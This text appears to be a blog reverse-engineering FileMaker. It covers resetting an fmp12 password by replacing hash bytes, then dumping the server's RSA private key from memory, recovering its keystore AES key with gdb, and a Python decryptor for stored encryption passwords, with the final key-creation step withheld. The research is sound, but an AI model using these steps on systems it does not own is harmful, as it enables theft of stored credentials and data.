Since we can now freely re-compute the values at 23.1.5.2.4 and 23.1.5.2.6, is it enough to replace the two byte-sequences in a file to open it with a new password?

We enter our new password, and voilà: we’re in :-)

Additional info and caveats

A few important things to note and to answer some questions that came up during my talk:

FileMaker’s Encryption at Rest feature protects you exactly from this (as long as you keep your passphrase secret)
There are and will always be undocumented byte-codes as the specification is not open. In this case you either need to figure out what the byte-code does or you can decide to skip the rest of the payload and jump to the next block. If you are only interested in the account/password information, this is usually not a problem as long as the unknown code(s) don’t appear in exactly the block containing the account information.
Some components that go into the MD5 hash are semantically unclear (to me). In most cases you can just copy the value from the file (if at a known path). If this doesn’t work, you can always get them via the debugger.
If all [Full Access] accounts / the privilege set have been removed from the file and you want to add back such an account, you will need to figure out a lot more than described above. While theoretically possible, it’s probably hard work (need to add back the privilege set, a new account, re-align the blocks, etc.).
Note that you don’t need an account/password if you just want to get a specific piece of data from a file. You can just parse the file as described above and get/export it this way.
Is the file integrity still intact after replacing the hashes? From what I can tell, yes. You can also run a recovery on the file afterwards and it doesn’t flag the changed block as “bad”. However, there’s obviously no guarantee as there’s no official documentation. Changing a password the “normal” way does a bit more to the file, but I don’t think the other changes are particularly relevant (more like modification counts, etc.).
What do the commercial password reset tools do? I don’t have any of those tools, but someone provided me with two fmp12 files; one original and one created using the “Passware” recovery tool. The only difference between the provided files was in the two mentioned paths. So they do exactly the same thing as described in this post.
Is this a vulnerability in FileMaker? No, I don’t consider the possibility of resetting a password in a local unencrypted file to be a vulnerability, so nothing was reported.

Deciphering the FileMaker Server keystore

Mon, 29 May 2023 00:00:00 +0000

Introduction

While checking out how the FileMaker Pro to Server upload feature worked, I noticed that credentials were encrypted using a RSA public key before being sent to the server.

I looked into FileMaker Server’s installation directory and found that the private key was stored in the CStore/keystore file – at least I assumed it, as the file stores keys and values, where the keys are base64-encoded strings, one of them being bWFjaGluZVByaXZhdGVLZXk=, or machinePrivateKey.

While the values are base64-encoded just like the keys, decoding them just reveals ciphertext, so you cannot really tell what you are looking at.

Next to the machinePrivateKey I saw several encoded file UUIDs which values represented the EAR (encryption at rest) “encryption password” for files hosted by the server. This became obvious when new entries appeared in the keystore after uploading encrypted files and choosing to save the password (to be able to auto-open the files after a reboot).

At this point I decided to spend some time to better understand how the keystore actually works, how secrets are protected and if I could replicate the encryption/decryption process to decipher the stored values.

In this post I want to share what I figured out, but more so show my approach (including failed attempts), so that you can hopefully benefit from it when taking on similar problems. I will talk about learning from observing the data, doing memory dumps, attaching debuggers, and a little bit of cryptography.

Some notes before you read on

I generally believe it’s useful to have a better understanding of the inner workings of the systems you’re using on a daliy basis (and maybe even depend on) – to help with troubleshooting, to be able to judge what features to use or to ignore, what risks to accept and to make sense of (sometimes odd) software behaviors. In my opinion most of these things are better publicly documented than privately/exclusively shared.

But I also talked to a couple of people and was advised to omit a few details, such that not a full decryption script is made available. In the last part I will thus skip over a few steps to keep it brief and don’t reveal the final part required to recreate the encryption key. I do, however, give pointers on where to look if you would like to try it yourself as an exercise.

If you follow along with this article, please be aware that the actions taken can damage your FMS installation and hosted databases.

Lastly, I’m not a professional reverse engineer, so there might be more straightforward ways of tackling the same problem and mine are not necessarily the best/fastest (in fact I’ve later learned many things that could have led me to the result much more quickly).

If you are still curious, please read on.

First insights by looking at the data

When you want to figure out an unknown encoding or encryption system it’s extremely helpful if you are able to observe how new data (entered by you) is encoded/encrypted.

Let’s have a look what insights can be gained just by observing data.

Opening the keystore file (which is publicly readable by default, by the way), we can identify two things quickly:

RTI2Q0M1RkJGOUEyNDQ1OEE3MzE0QjE0RUIyQkY4RTY=;9acSKigNs3IHuEikQeit1Q==
RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ=;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x

First, it seems the ; is the separator. And second, based on the set of characters and padding at the end, the encoding looks like base64.

To verify, we can do echo -n RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ= | base64 -d and observe the decoded data. In this case it’s E66D7AB446804CBF86F6B0016E079714, which could be a UUID (16 bytes, in hexadecimal format). Of course, it could be other things, but in this context (identifying a file) it seems likely.

Without knowing the details of the fmp12 file format, we could still quickly peak at the raw bytes of the hosted database to determine if this ID appears somewhere at the beginning of the file. And sure it does:

$ xxd my_file.fmp12 | head -n 20
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
00000010: 4241 4d65 0000 1000 0000 0000 0000 0000 BAMe............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
... here it starts (16 bytes from position 250):
000000f0: 0000 0000 0000 0000 0000 e66d 7ab4 4680 ...........mz.F.
00000100: 4cbf 86f6 b001 6e07 9714 efb8 6c2e 2af4 L.....n.....l.*.

Let’s now look at the part after the semicolon – the one that is more interesting, but currently looks like garbage.

Base64-decoding the two samples from above, wee see:

$ echo -n '9acSKigNs3IHuEikQeit1Q==' | base64 -d | xxd
00000000: f5a7 122a 280d b372 07b8 48a4 41e8 add5 ...*(..r..H.A...

$ echo -n 'b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x' | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

While the data does not look useful at first sight, we can see that the first sample is 16 bytes long and the second one is 48 bytes long.

Setting an EAR password to another file, uploading it and storing the password on the server, we can observe different ciphertext lengths for different plaintext lengths.

If our EAR password is less than 16 bytes, we still get 16 bytes of ciphertext. If it’s greater than 16 bytes, but less than 32 bytes, we get 32 bytes of ciphertext.

We can be relatively certain that the server only encrypts full blocks of 16 bytes, suggesting a block cipher with a size of 128 bits.

Next, we can check if we get the same ciphertext on a different FileMaker Server installation. This is not the case, so the key is likely unique for every server.

How about using the same EAR password for a different database file? Does this create a different ciphertext?

After trying, we see that it does not produce a different ciphertext. This means that the file identifier does not play a role in the encryption. It also means that a static key and no initialization vector (or a static one) is used, since a different initialization vector would cause the ciphertext to be different, even if the same plaintext and key is used (assuming we have an IV and use “cipher-block chaining”; see explanation in box below).

Another good test to verify this is to encrypt two EAR passwords which have the same first 16 bytes. For example:

File 1: AAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAAAAAAAA
File 2: AAAAAAAAAAAAAAAA|A
 ^ 16 bytes

On my test server these two produce the following two ciphertexts:

b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
b442h3lSslgZ66HAwoSO78+E2b55R4CaKGiFSnwfUeQ=

Or as hex:

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: cf84 d9be 7947 809a 2868 854a 7c1f 51e4 ....yG..(h.J|.Q.

You can clearly see that the first 16 bytes are exactly the same (just like the 16 bytes of the plaintext).

Normally, you would not want your ciphertext to “leak” semantic information as shown and this is something that could certainly be improved.

If you were to encrypt every block of data with the same key, identical blocks of plaintext would produce identical blocks of ciphertexts. One strategy to prevent this is to let the results of each block influence the next block (so-called “cipher-block chaining”). Here, each plaintext block is XORed with the previous ciphertext block (and subsequently encrypted).

To kickstart this process, however, you need an additional input for the first block, and this is where the initialization vector comes in. It will be used to XOR the first plaintext.

If you were to experiment more, you would see that cipher-block chaining is indeed used for the FMS keystore values, but with an initialization vector of all zeros. This way you still output the same ciphertext blocks for identical plaintext blocks at the beginning.

If you like to test this for yourself you can play around with openssl. For example:
openssl enc -aes-256-cbc -in test.txt -k <some-key-as-hex> -iv 00000000000000000000000000000000 -out test.enc.

Just read the docs

Whenever you have documentation available, make sure to read it. It might give you pointers on how to narrow down the space of things to try next.

Claris’ documentation has a statement on how passwords are stored:

When you open an encrypted file on FileMaker Server or FileMaker Cloud, you can save the password to automatically open encrypted files when the server restarts. FileMaker employs a two-way AES-256 encryption that uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.

(Unfortunately, as we will learn later, this is not entirely correct, so it’s also a good idea to second-guess/verify official information).

What do we know so far?

Let’s recap on what we learned so far by just observing data and reading the docs:

The keystore contains keys and values separated by semicolon
Keys are just base64 encoded. Values are encrypted and base64 encoded
We’re dealing with a block cipher (takes a fixed size block and outputs a block of the same size)
The docs mention AES with 256-bit key
A static (or no) initialization vector is used
A static key is used
The key is unique per installation and file IDs/properties don’t play a role here

A lazy try: just dump the memory

After looking at the data and the docs my first attempt was to test if some or all of the information of the keystore can be retrieved in unencrypted form from memory. It’s unlikely we learn anything about how data is encrypted but we can check if the server cleans up secrets after use. Also, grepping through a memory dump is not a lot of effort, so you might as well give it a shot (which is why I labeled this “a lazy try”).

My test server is running on Linux and I’m using procdump (the Linux version of the original Windows SysInternals tool).

Let’s first figure out the process ID of fmserverd with pgrep fmserverd and then dump the memory with procdump <pid>. The result is a dump with more than a gigabyte of size.

Since we know the plaintext values that the server encrypted, we can grep for these strings in the dump file.

$ strings fmserverd_time_2023-... | grep 'some EAR password'

No luck (which is a good thing, as you don’t want your secrets explosed like this). But what about the RSA private key that we expect to be the value of the key machinePrivateKey?

$ strings fmserverd_time_2023-04-23_14\:37\:25.1001 | grep 'BEGIN RSA PRIVATE' -A10

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA27LEJB8uCqezntbENVPdrV/xTnnshR2fQPWFNr3Rcr10tjBa
...

Turns out the private key is hanging out in unencrypted form in memory. Let’s check if it matches the public key file CStore/machinePublicKey.

A quick way to do this is to extract the public key from the discovered private key and then compare it to the machinePublicKey file.

openssl rsa -in machinePrivateKey.key -pubout > machinePublicKey.extracted

This gives us a public key which – by looking at it – doesn’t match the one from the FileMaker Server installation. However, this is just because it’s not in PKCS#1 format like the original one. We can convert it and see that it’s a match now:

openssl rsa -pubin -in machinePublicKey.extracted -RSAPublicKey_out -out machinePublicKey.extracted.pkcs1

What now?

If we only wanted to know the RSA private key, we would have succeeded by now. But even if we would also have gotten our other secrets in plaintext, it would not really help us as we still don’t understand how the values are encrypted, wouldn’t know what to search for when not knowing the plaintext, and don’t understand the memory structure.

So what could be the next step? Since we are anyhow dealing with memory dumps, maybe we can find the actual AES key used to encrypt the keystore values in memory?

Extracting AES keys from memory

How could we possibly find what 16 or 32 bytes are an AES key when getting handed a dump of more than gigabyte of seemingly random data?

When we put a key into AES, the key is actually expanded into so-called round keys (11 rounds for 128-bit keys, 15 for 256-bit keys). These round keys are needed for the encryption/decryption process and might thus be hanging around in memory. By checking the memory for random-looking (i.e. high entropy) byte sequences using a sliding window of the size of the so-called key schedule (all the roundkeys), it is possible to get a list of potential keys.

Here’s a good video explaining the key expansion and here’s an article describing in more detail what options are available to extract keys from memory dumps.

Since it’s kind of a long shot anyway, I didn’t spend too much time in this phase and just ran two forensic tools over the dump. One was bulk_extractor and the other aeskeyfind.

Using the tools is straight-forward. For example: bulk_extractor -E aes my_dump -o extraction_output.

While the tools found some potential AES-128-bit keys, none of them were matching or weren’t even keys at all. They could have also been from the encryption/decryption routines that go on when the server encrypts/decrypts individual pages of the opened hosted databases.

I tried once more to dump the memory multiple times during FMS startup with a lot of encrypted files being opened (which would require keystore values being decrypted) and also during repeated opening/closing of a file in a loop, but it obviously didn’t produce any detectable keys in the dumps.

Getting the key so seemlessly by running a tool would have been nice in a way, but I’m also kind of reliefed that it wasn’t that easy :-)

Looking at what the program is doing and extracting the key

Since the “lazier” attempts didn’t result in any new insights, let’s actually try to observe what the program (fmserverd) is doing.

We obviously don’t have any source code, but as the program runs on our computer, we can attach a debugger and inspect the behavior, see loaded libraries, disassemble parts of it and step through the interesting bits.

I used gdb on Linux and lldb on macOS. Please note, that on macOS you will need to disable System Integrity Protection (or remove the program’s code signature) to attach to a running process.

On our Linux server, we can start by attaching with gdb -p <pid> and on macOS with lldb -p <pid>. Luckily, the binaries are not stripped of symbols, so we can see function names and of course the exports of the libraries.

Let’s first have a look at loaded libraries of a running server instance on Linux:

(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x00007f5dea393a40 0x00007f5dea3f89af Yes (*) /lib/x86_64-linux-gnu/libc++.so.1
0x00007f5dea32e450 0x00007f5dea348ef0 Yes (*) /lib/x86_64-linux-gnu/libc++abi.so.1
0x00007f5de9a21ed0 0x00007f5dea09341d Yes /opt/FileMaker/lib/libFMSLib.so
0x00007f5de8f48560 0x00007f5de959d1f9 Yes /opt/FileMaker/lib/libFMEngine.so
0x00007f5de6e0fb60 0x00007f5de83bdf00 Yes /opt/FileMaker/lib/libDBEngine.so
0x00007f5de61fea20 0x00007f5de63496b9 Yes /opt/FileMaker/lib/libSupport.so
...

Most interesting to us are the non-standard libaries located in /opt/FileMaker/lib and of course the actual fmserverd binary.

The binaries come with some symbol information, so we can try to make sense of any of the contained function names.

Below I’m using objdump to dump the symbol table and demangle the names (we want human-readable names), and pipe the result to less to easily scroll through and search in the result.

objdump -tC <some binary> | less

Symbol information allows for much easier debugging, also when you don’t have the source code available (even if explicit debug symbols would not be available). I assume the binaries are intentially not stripped (i.e. contain symbols) in the release versions such that it’s possible to troubleshoot/debug weird behaviors on deployed systems (although, I guess, you could still keep them separate from the binary and then strip all unneeded in the relase version)

If you like to see what is included in a binary and what not, you can write a small C program, compile it with gcc and once include the -g flag, once not include the -g flag and then run strip over another compiled version. For each of the three versions, you can then run the above objdump command and see the difference.

Fun fact: I later found out that I could have retrieved much more information just by inspecting all the provided symbol information, so I believe I made it a bit harder for myself and that you can arrive at the end result faster than I describe here.

Since we are interested in the keystore, we can search for names that could be related. Such terms could be keystore, EAR, crypt, password, AES, etc.

As an example, let’s say we searched for “Password” and have identified the following symbol in libSupport:

00000000000f9a50 g F .text 0000000000000005 Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)`.

Since we still have our debugger attached, we can have a look at this function from within gdb:

(gdb) info address Draco::PasswordHash::ComputePasswordHashRawBytes
Symbol "Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)" is a function at address 0x7f5de6220a50.

If we disassemble this function we see it’s just a jump to PKCS5_PBKDF2_HMAC_SHA1.

(gdb) disas 0x7f5de6220a50
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
 0x00007f5de6220a50 <+0>: jmpq 0x7f5de61fdab0 <PKCS5_PBKDF2_HMAC_SHA1@plt>
End of assembler dump.

And what PKCS5_PBKDF2_HMAC_SHA1 is doing, we can just look up in the openssl manual.

We still don’t know if this function is at all related to what we want to find out (there’s a lot of crypto stuff in FileMaker Server), but we can start taking notes and piece together information.

Not every function will be as short and understandable as the above and you will either need to read a lot of assembly code or could try to figure things out using a decompiled version of the function of interest (for example with Ghidra’s decompiler). For where we want to get to, we don’t really need a decompiler and can just skim the assembly code, so we will mostly just stay in gdb.

Once we have few ideas and an overview of interesting functions that could be related to the keystore, we can set breakpoints, continue running the program and then perform an action that we want to observe. I always used the opening of a hosted file (fmsadmin open <file>) as this must read the keystore file and decrypt the EAR password.

Eventually, I arrived at Draco::Encrypt_AES_decrypt which is called by Draco::KeyStorageProvider::CryptData (both in the Support lib) and is responsible for the decryption of the keystore values. Let’s see what we can learn when setting a breakpoint at this function (still in the attached debugger):

(gdb) b Draco::Encrypt_AES_decrypt
Breakpoint 1 at 0x7f5de61f8a40 (2 locations)
(gdb) c
Continuing.

With the breakpoint set, we can now open a file that has an EAR password stored in the keystore. As soon as the open command is sent, the program hits the breakpoint and stops:

Thread 49 "fmserverd" hit Breakpoint 1, 0x00007f5de61f8a40 in Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*)@plt ()
 from /opt/FileMaker/lib/libSupport.so

Since we see the @plt at the end, we need to execute one more jmp into the actual function with si (step one instruction).

@plt stands for “procedure linkage table” and is essentially a way to point to a library function which address cannot be known in the linking stage but only dynamically be resolved at run time (as far as I understand it).

Now that we are in the actual implemented function, let’s have a look what arguments are passed to it.

To do this we first check the CPU registers:

(gdb) info registers
rax 0x7f5dbf8f6078 140040622530680
rbx 0x7f5dbf8f5af4 140040622529268
rcx 0x20 32
rdx 0x7f5dd863d6c0 140041039107776
rsi 0x30 48
rdi 0x7f5dd80e0e90 140041033485968
rbp 0x7f5dbf8f5ff0 0x7f5dbf8f5ff0
rsp 0x7f5dbf8f5ed8 0x7f5dbf8f5ed8
r8 0x7f5dbf8f5f80 140040622530432
r9 0x0 0
r10 0x7f5dd8105b9c 140041033636764
r11 0x7f5dbf8f5cc8 140040622529736
r12 0x1 1
r13 0x3e5 997
r14 0x7f5dbf8f6040 140040622530624
r15 0x7f5dbf8f5fb0 140040622530480
rip 0x7f5de62217f0 0x7f5de62217f0 <Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*)>

Based on x86-64 calling conventions, we know how and in what registers functions receive their arguments from their caller (see “A.2 AMD64 Linux Kernel Conventions” in AMD64 System V Application Binary Interface).

Quoted from the linked document:

User-level applications use as integer registers for passing the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9.

We don’t have any parameter names but we do know the signature of our discovered function (unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*). So let’s map the arguments:

rdi: A pointer to 0x7f5dd80e0e90
rsi: An integer with value 48
rdx: A pointer to 0x7f5dd863d6c0
rcx: An integer with value 32
r8: A pointer to 0x7f5dbf8f5f80
r9: Null

Since we only have 6 parameters, we don’t need to look at the stack for more.

Now let’s inspect the addresses in more detail.

We assume that the second and fourth parameter indicates the size of the previous parameter, as this is quite common.

Checking 48 byes from address 0x7f5dd80e0e90 (rdi):

(gdb) x/48xb 0x7f5dd80e0e90
0x7f5dd80e0e90: 0x6f 0x8e 0x36 0x87 0x79 0x52 0xb2 0x58
0x7f5dd80e0e98: 0x19 0xeb 0xa1 0xc0 0xc2 0x84 0x8e 0xef
0x7f5dd80e0ea0: 0xe8 0xe6 0xd5 0x77 0x30 0xd0 0xee 0xc3
0x7f5dd80e0ea8: 0x4a 0x64 0x65 0x5b 0xd6 0xe4 0x46 0xb8
0x7f5dd80e0eb0: 0xfb 0x11 0x47 0x91 0x61 0xa8 0xfc 0x2b
0x7f5dd80e0eb8: 0xa5 0x44 0xb0 0xb5 0x92 0x62 0x1f 0x31

If we compare this to our encrypted EAR password that we looked at earlier, it comes out as the same sequence of bytes:

$ echo -n 'b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x' | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

We can be pretty sure that this argument is the ciphertext from the keystore.

What about 0x7f5dd863d6c0 (rdx)? Let check 32 bytes from there:

(gdb) x/32xb 0x7f5dd863d6c0
0x7f5dd863d6c0: 0xa5 0x10 0xc9 0xf2 0x24 0xde 0x97 0x1b
0x7f5dd863d6c8: 0x45 0x95 0x82 0xae 0xec 0x5b 0xc8 0x84
0x7f5dd863d6d0: 0x9c 0x9f 0xb1 0xa0 0x4c 0xe4 0xba 0x27
0x7f5dd863d6d8: 0x31 0x0d 0x03 0xf0 0xef 0x67 0xc6 0x27

Since we are expecting a 256-bit key, this could be it.

Now we have the values of r8 and r9 left. We don’t know about the first, but the latter is 0 (0x00).

Since we expect AES to be used in CBC mode without an initialization vector (IV), maybe this could be the “null IV”!?

We already have potentially useful information here, but let’s check what Encrypt_AES_decrypt is actually doing and if we can get any further hints.

To do this, we can disassemble the function right from GDB:

Dump of assembler code for function Draco::Encrypt_AES_decrypt(unsigned char*, int, unsigned char const*, int, unsigned int&, unsigned char const*):
=> 0x00007f5de62217f0 <+0>: push %rbp
 ...
 0x00007f5de6221855 <+101>: mov %rax,%rbx
 0x00007f5de6221858 <+104>: callq 0x7f5de61f9bf0 <EVP_aes_128_cbc@plt>
 ...
 0x00007f5de622186b <+123>: callq 0x7f5de61f8d00 <EVP_DecryptInit_ex@plt>
 ...
 0x00007f5de6221881 <+145>: callq 0x7f5de61fd870 <EVP_DecryptUpdate@plt>
 ...
 0x00007f5de62218a4 <+180>: callq 0x7f5de61fc980 <EVP_DecryptFinal_ex@plt>

I removed some instructions above to only show the interesting calls. GDB resolves the addresses and shows us calls to OpenSSL functions, for example EVP_aes_128_cbc.

We could look up the details and source code for these functions as they are publicly known.

While not a big deal, it’s a bit of a surprise to see EVP_aes_128_cbc as we were expecting EVP_aes_256_cbc as that would match what is written in Claris’ documentation.

For now, we just set another breakpoint at the first and second call, (gdb) b EVP_aes_128_cbc and (gdb) b EVP_DecryptInit_ex, and then continue running the program (c).

At this stage we just want to verify that the function is actually called (we could have also read and understand all the disassembled instructions instead).

Both breakpoints hit. And in the second one, we can actually verify our assumptions from above as we know the parameters names and their meaning for the decryption intialization function from the OpenSSL documentation.

This means we have learned so far:

AES is used in CBC mode
We have a 256 bit key, but are using EVP_aes_128_cbc and thus only use the first half of the key (probably a bug)
We know the IV is set to all zeros (16 bytes, like the block size)

Building our own decryptor

It’s time to test if the data we discovered can actually be used to independently decrypt the keystore values.

Let’s build a small Python script and re-implement what we discovered. I’m using PyCryptodome for the crypto routines.

import base64
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad


def decrypt(key, iv, ciphertext):
 decoded_ciphertext = base64.b64decode(ciphertext)

 cipher = AES.new(key, AES.MODE_CBC, iv=iv)
 plaintext = cipher.decrypt(decoded_ciphertext)

 return unpad(plaintext, 16)


def main():
 ciphertext = b'b442h3l<snip>'
 key = bytes.fromhex('a510c<snip>')
 iv = 16 * b'\x00'

 plaintext = decrypt(key[:16], iv, ciphertext)
 print(f'plaintext: {plaintext.decode()}')


if __name__ == '__main__':
 main()

Starting in main, the ciphertext is our base64-encoded string from the keystore, the key is the key we discovered via the debugging process (unique per server), and iv is just 16 null bytes (16 bytes being the block size). From the 32 byte key we only pass byte 0 to 15 to have a 128-bit key.

In the decrypt function, we first base64-decode the ciphertext, then initialize the cipher with the passed values and CBC mode.

Lastly, we decrypt the ciphertext and return the plaintext (unpadded, to remove the padding at the end that completes a full block).

Running the script successfully reveals the plaintext value (in this case the EAR password we decided to store before).

While we now have everything we need to decrypt other values on our server, our main goal was to better understand how the keystore works. And we still don’t know how the key we found was derived – it cannot be a hardcoded key, as it’s different from server to server. Let’s dig in more.

Figuring out how the key is derived

Above we saw that Encrypt_AES_decrypt already gets the key passed to it and that it is called by Draco::KeyStorageProvider::CryptData.

We can look at the CryptData function from within gdb:

(gdb) disas 'Draco::KeyStorageProvider::CryptData'

This function is certainly more involved with lots of conditional jmps and calls.

Let’s first demangle the function names to make it bit easier to browse through:

(gdb) set print asm-demangle on

Disassembling the function again and just looking at the symbols before our Encrypt_AES_decrypt and Encrypt_AES_encrypt calls, we see two names that stick out:

0x00007f77a60ec76c <+508>: callq 0x7f77a60431d0 <Draco::Machine::GetPersistentID()@plt>
...
0x00007f77a60ec947 <+983>: callq 0x7f77a603f120 <Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt>

From the Claris documentation, we know that “FileMaker […] uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.”.

Since we know the Get(PersistentID) function from FileMaker Pro’s calculation environment returns a unique identifier for the current machine it is running on, we can assume that Draco::Machine::GetPersistentID() function does something similar or the same.

At the same time, we can assume that this ID goes into the “composite key based on information from the machine”.

While we can also make an assumption what the ComputePasswordHashRawBytes is doing, based on the name, we will go through the same debugging procedure as with the Encrypt_AES_decrypt function above to get more insights.

Let’s set a breakpoint, continue with the program and then close/open our sample database file again:

(gdb) b Draco::PasswordHash::ComputePasswordHashRawBytes
Breakpoint 1 at 0x7f77a603f120 (2 locations)
(gdb) c
Continuing.

Thread 49 "fmserverd" hit Breakpoint 1, 0x00007f77a603f120 in Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@plt () from /opt/FileMaker/lib/libSupport.so
(gdb) disas
Dump of assembler code for function _ZN5Draco12PasswordHash27ComputePasswordHashRawBytesEPKcjPKhjiiPh@plt:
=> 0x00007f77a603f120 <+0>: jmpq *0x2b076a(%rip) # 0x7f77a62ef890 <Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)@got.plt>
 0x00007f77a603f126 <+6>: pushq $0x10f
 0x00007f77a603f12b <+11>: jmpq 0x7f77a603e020
End of assembler dump.

We step again into the actual function and then have a look at the arguments being passed. We know the signature, so let’s map the register values:

(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*)

rdi: 0x7f778c01a5c0
rsi: 0x10 (or 16 in decimal)
rdx: 0x7f779c250f70
rcx: 0x08 (8)
r8: 0x3e5 (997)
r9: 0x20 (32)

The seventh argument is passed on the stack, so let’s look at the value on the stack after the return address (stack pointer is in $rsp and we skip the first 8 bytes):

(gdb) x/xg $rsp+8
0x7f779c250ed0: 0x00007f779c250f00

Let’s take a look what values can be found at the addresses pointed to by the first, third and seventh argument:

The first argument is 16 bytes in length, but is certainly not an ascii string (look at it with x/16xb 0x7f778c01a5c0).

The third argument can indeed be interpreted as a string and points to fmserver (if we spent more time looking at CryptData we learn that this string and the 997 are the username/id acquired via getpwuid).

The seventh argument contains data we don’t understand yet and might very well just be the address where the result goes.

Let’s disassemble the body of the function now:

(gdb) disas
Dump of assembler code for function Draco::PasswordHash::ComputePasswordHashRawBytes(char const*, unsigned int, unsigned char const*, unsigned int, int, int, unsigned char*):
=> 0x00007f77a6066a50 <+0>: jmpq 0x7f77a6043ab0 <PKCS5_PBKDF2_HMAC_SHA1@plt>
End of assembler dump.

We can see that the program is calling OpenSSL’s PKCS5_PBKDF2_HMAC_SHA1.

Looking at the documentation, we know what each argument is and can now also make sense of the arguments we deciphered above:

int PKCS5_PBKDF2_HMAC_SHA1(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 int keylen, unsigned char *out);

The password is the 16 bytes at 0x7f778c01a5c0, the salt is fmserver, the iterations are 997 and the key length is 32.

PBKDF2 is a common key derivation function, which is used here to create the key for decrypting the keystore value.

PBKDF2 stands for Password-Based Key Derivation Function 2. It takes a pseudorandom function (such as HMAC-SHA1, as we see above), a password, a salt, a key length and an iteration count. In short, it computes a hash from the salt and a block iteration count, using the given password as key. In the first iteration, it builds another hash using the password as key and the previous hash result as message. These two hashes are then XORd. What follows is a loop of creating a new hash from the previous hash, XORing it again with the previous XOR result, and so on. This is done for the number of iterations specified (here 997) and for each necessary block of the hash length to reach the length of the desired key (here 2 as the hash output of SHA-1 is 20 bytes, but we request a 32 byte key) . For more details see the Key derivation process explained on Wikipedia.

A few additional things to note: 1) the mentioned hash is not just a SHA-1 hash but an invocation of HMAC. Thus, we’re running SHA-1 twice to come up with our hashes in each iteration. 2) The salt being used here is certainly not random (the default fmserver username) and the iteration count is rather low and also likely to be the same or in a close range for every machine (being the user ID). Since the “password” is already a hash created from a unique identifier (see later in this article), though, this might be less problematic. I assume that this was done like this to easily “break” the key once any of the variables on the system change, which would force a user to re-enter the EAR password.

Given the information we got so far, we should be able to reproduce the key (even though, we still don’t know how that password is created).

Back in Python, we can do:

import binascii
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Hash import SHA1

salt = 'fmserver'
count = 997
password = bytes.fromhex('<the value at 0x7f778c01a5c0>')
key = PBKDF2(password, salt, 32, count=count, hmac_hash_module=SHA1)

print(binascii.hexlify(key))

Running the script, we can now generate the same key that we have discovered above. Cool, one step further!

Figuring out how the password is created

The last piece of information we need is how the password which is being passed to PBKDF2 is created .

Since the password which we discovered was 16 bytes long and we earlier saw a call to GetPersistentID (which, if equivalent to the Get(PersistentID) function, also returns 16 bytes sequences), we could assume that the password we saw was just said machine identifier.

If we compute the persistent ID of the server (for example via Perform Script on Server[]), however, we realize that the value doesn’t match – either because they are indeed different implementations or because the password is just created differently.

To understand how the server arrives at the previously detected password, we can continue in two ways. Either we step through the instructions of Draco::KeyStorageProvider::CryptData (which calls the previously analysed ComputePasswordHashRawBytes) or we go a couple of steps back and check again, if we can find other interesting symbols now that we have learned a bit more and know the KeyStorageProvider class is involved.

For the latter strategy Draco::KeyStorageProvider::GetInstance() seems like a good starting point.

Setting a breakpoint and entering the function, we see the following:

(gdb) disas
Dump of assembler code for function Draco::KeyStorageProvider::GetInstance():
 0x00007f3ef752b4c0 <+0>: push %rbx
 0x00007f3ef752b4c1 <+1>: mov 0x20b3c9(%rip),%al # 0x7f3ef7736890 <_ZGVZN5Draco18KeyStorageProvider11GetInstanceEvE8instance>
 0x00007f3ef752b4c7 <+7>: test %al,%al
 0x00007f3ef752b4c9 <+9>: je 0x7f3ef752b4d4 <Draco::KeyStorageProvider::GetInstance()+20>
